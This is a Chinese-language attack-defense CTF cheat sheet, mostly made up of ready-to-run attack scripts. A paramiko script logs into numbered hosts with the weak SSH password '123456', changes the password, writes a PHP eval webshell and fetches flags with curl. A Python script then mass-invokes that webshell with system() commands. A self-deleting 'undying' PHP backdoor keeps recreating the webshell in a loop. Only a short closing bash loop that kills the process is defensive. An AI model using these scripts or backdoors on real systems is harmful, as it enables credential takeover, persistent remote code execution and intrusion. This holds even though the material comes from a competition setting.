基本攻击策略
1、弱口令攻击
批量用户登入修改密码并写入webshell且获取flag值。
攻击exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
|
import paramiko for i in [1,2,3,4,5,6,7,8,9,10]: try: host = "4.4."+str(i)+".100" s=paramiko.SSHClient() s.set_missing_host_key_policy(paramiko.AutoAddPolicy()) s.connect(hostname=host,port=22,username='user1',password='123456') stdin,stdout,stderr = s.exec_command('passwd\n') stdin.write("123456\nPass@123.com\nPass@123.com\n") stdin,stdout,stderr = s.exec_command("echo '<?php eval($_POST[cmd]);?>'>/var/www/html/.zack.php") stdin,stdout,stderr = s.exec_command('curl http://192.168.245.250/getkey') print(host+':'+stdout.read().decode('utf-8')) s.close() except: print(host+':Fails!')
|
2、批量调用webshell获取flag
用D盾扫描自己的网站木马,根据木马写脚本。
攻击exp
1 2 3 4 5 6 7 8 9 10
|
import requests for i in [1,2,3,4,5,6,7,8,9,10]: try: url="http://4.4."+str(i)+".100:"+str(1005)+"/.zack.php" result=requests.post(url,data={'cmd':"system('curl http://192.168.245.250/getkey');"},timeout=2) print(url+'-->'+result.text) except: print(url+'-->Fails!')
|
3、不死码种植
将不死码上传网站目录,访问不死码后在当前目录生成.zack.php后门webshell。
攻击exp
1 2 3 4 5 6 7 8 9 10 11 12
| <?php set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__); while (1) { $content = '<?php @eval($_POST[zack]);?>'; file_put_contents(".zack.php", $content); usleep(500); } ?>
|
杀死不死马的方法,查看不死马的进程ID:
top | grep httpd
chmod 777 kill.sh
nohup ./kill.sh &
查到ID为 11198 ,根据ID号和webshell名写.sh脚本。
1 2 3 4 5 6
| #!/bin/bash while true do kill -9 11198 rm -rf .shell.php done
|